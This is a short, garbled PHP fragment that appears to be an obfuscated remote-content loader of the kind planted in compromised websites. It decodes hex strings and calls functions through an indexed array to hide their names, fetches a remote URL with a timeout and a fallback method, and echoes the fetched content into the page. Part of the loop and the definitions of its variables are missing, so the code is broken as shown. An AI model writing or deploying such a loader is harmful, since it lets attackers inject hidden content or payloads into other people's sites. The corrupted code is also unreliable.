<?php function hex2str($hex) { $str = ''; for ($i = 0; $i array('timeout' => 5))); $content = file_get_contents($url, false, $context); } if ($content === false && function_exists($methods[6])) { $content = implode("", $methods[6]($url)); } if ($content !== false) { echo $content; } ?>